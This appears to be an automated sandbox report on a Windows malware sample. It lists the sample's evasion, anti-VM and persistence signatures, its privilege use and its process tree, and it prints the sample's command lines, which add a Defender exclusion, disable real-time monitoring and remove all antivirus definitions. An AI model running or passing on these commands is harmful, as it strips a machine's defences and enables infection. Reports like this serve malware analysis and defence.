memory/4348-4150-0x00007FFBF74D0000-0x00007FFBF7AB9000-memory.dmp

memory/4348-4158-0x00007FFC07A90000-0x00007FFC07A9D000-memory.dmp

memory/4348-4157-0x00007FFC05CF0000-0x00007FFC05D09000-memory.dmp

memory/4348-4153-0x00007FFC078E0000-0x00007FFC078F9000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-26 20:35

Reported

2024-06-26 20:38

Platform

win11-20240508-en

Max time kernel

120s

Max time network

129s

Command Line

"C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe"

Signatures

Enumerates VirtualBox DLL files

Description Indicator Process Target
File opened (read-only) C:\windows\system32\vboxhook.dll C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
File opened (read-only) C:\windows\system32\vboxmrxnp.dll C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
File opened (read-only) C:\windows\system32\vboxhook.dll C:\Users\Admin\Local\wsappx.exe N/A
File opened (read-only) C:\windows\system32\vboxmrxnp.dll C:\Users\Admin\Local\wsappx.exe N/A

Sets file to hidden

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Users\\Admin\\Local\\wsappx.exe" C:\Users\Admin\AppData\Local\Temp\bound.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A

Hide Artifacts: Hidden Files and Directories

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Local\wsappx.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\Local\wsappx.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1056 wrote to memory of 888 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe
PID 1056 wrote to memory of 888 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe
PID 888 wrote to memory of 5064 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 888 wrote to memory of 5064 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 888 wrote to memory of 4376 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 888 wrote to memory of 4376 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 5064 wrote to memory of 4156 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5064 wrote to memory of 4156 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4376 wrote to memory of 3164 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4376 wrote to memory of 3164 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 888 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 888 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 888 wrote to memory of 2032 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 888 wrote to memory of 2032 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 888 wrote to memory of 748 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 888 wrote to memory of 748 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 888 wrote to memory of 4948 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 888 wrote to memory of 4948 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4948 wrote to memory of 4640 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4948 wrote to memory of 4640 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2960 wrote to memory of 3100 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2960 wrote to memory of 3100 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 748 wrote to memory of 1112 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 748 wrote to memory of 1112 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 2032 wrote to memory of 900 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 2032 wrote to memory of 900 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 900 wrote to memory of 1336 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 900 wrote to memory of 1336 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 1336 wrote to memory of 1196 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Windows\system32\cmd.exe
PID 1336 wrote to memory of 1196 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Windows\system32\cmd.exe
PID 1336 wrote to memory of 2004 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1336 wrote to memory of 2004 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1336 wrote to memory of 780 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Windows\system32\cmd.exe
PID 1336 wrote to memory of 780 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Windows\system32\cmd.exe
PID 780 wrote to memory of 3736 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 780 wrote to memory of 3736 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 780 wrote to memory of 4916 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\Local\wsappx.exe
PID 780 wrote to memory of 4916 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\Local\wsappx.exe
PID 780 wrote to memory of 6312 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 780 wrote to memory of 6312 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 4916 wrote to memory of 1508 N/A C:\Users\Admin\Local\wsappx.exe C:\Users\Admin\Local\wsappx.exe
PID 4916 wrote to memory of 1508 N/A C:\Users\Admin\Local\wsappx.exe C:\Users\Admin\Local\wsappx.exe
PID 1508 wrote to memory of 3952 N/A C:\Users\Admin\Local\wsappx.exe C:\Windows\system32\cmd.exe
PID 1508 wrote to memory of 3952 N/A C:\Users\Admin\Local\wsappx.exe C:\Windows\system32\cmd.exe
PID 1508 wrote to memory of 4312 N/A C:\Users\Admin\Local\wsappx.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1508 wrote to memory of 4312 N/A C:\Users\Admin\Local\wsappx.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 888 wrote to memory of 3704 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 888 wrote to memory of 3704 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 3704 wrote to memory of 4908 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3704 wrote to memory of 4908 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 888 wrote to memory of 4152 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 888 wrote to memory of 4152 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4152 wrote to memory of 4024 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4152 wrote to memory of 4024 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 888 wrote to memory of 4836 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 888 wrote to memory of 4836 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 4836 wrote to memory of 2124 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4836 wrote to memory of 2124 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 888 wrote to memory of 3876 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 888 wrote to memory of 3876 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 3876 wrote to memory of 3140 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3876 wrote to memory of 3140 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 888 wrote to memory of 944 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe
PID 888 wrote to memory of 944 N/A C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe C:\Windows\system32\cmd.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe

"C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe"

C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe

"C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\be41d7624ce4ec54963786d47a9ff839132d6719a77f1a203e06dd9b34ee73f0.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\system32\cmd.exe

